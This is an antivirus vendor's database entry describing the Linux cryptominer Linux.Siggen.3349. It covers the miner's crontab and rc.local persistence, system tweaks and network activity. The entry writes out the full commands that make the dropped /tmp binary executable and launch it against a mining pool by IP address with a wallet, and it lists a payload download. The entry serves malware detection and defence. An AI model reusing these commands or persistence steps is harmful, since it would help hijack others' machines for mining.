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Linux.Siggen.3349

Added to the Dr.Web virus database: 2020-11-06

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/rc.local
  • /etc/crontab
Malicious functions:
Launches itself as a daemon
Manages services:
  • /sbin/service crond start
Launches processes:
  • sh -c ulimit -HSn 65536
  • sh -c cat /proc/cpuinfo|grep cpu\ MHz|sed -e 's/.*:[^0-9]//'
  • cat /proc/cpuinfo
  • grep cpu MHz
  • sed -e s/.*:[^0-9]//
  • sh -c chmod 777 /tmp/spreadDefghi;/tmp/spreadDefghi -o stratum+tcp://139.99.123.196:5555 -a cn/r -u 44ygo7VfwEYdEbe1ruyZNLfrV19snk3REQpfb5LU9Yxf98z7Ws9EZPPbUgvozZyfYXCb3vsRJRT8wTGe3FipsLb93NaDULN -p X -l /tmp/spreadDefghi.txt
  • chmod 777 /tmp/spreadDefghi
  • /tmp/spreadDefghi -o stratum+tcp://139.99.123.196:5555 -a cn/r -u 44ygo7VfwEYdEbe1ruyZNLfrV19snk3REQpfb5LU9Yxf98z7Ws9EZPPbUgvozZyfYXCb3vsRJRT8wTGe3FipsLb93NaDULN -p X -l /tmp/spreadDefghi.txt
Performs operations with the file system:
Modifies file access rights:
  • /tmp/spreadDefghi
Creates or modifies files:
  • /etc/sysctl.conf
  • /etc/security/limits.conf
  • /tmp/spreadDefghi
  • /tmp/spreadDefghi.txt
  • /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Network activity:
Awaits incoming connections on ports:
  • 0.0.0.0:19380
Establishes connection:
  • 18#.##6.49.65:19370
  • 13#.##.123.196:5555
HTTP GET requests:
  • 18#.##6.49.65/X64
Sends data to the following servers:
  • 18#.##6.49.65:19370
  • 13#.##.123.196:5555
Receives data from the following servers:
  • 13#.##.123.196:5555
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


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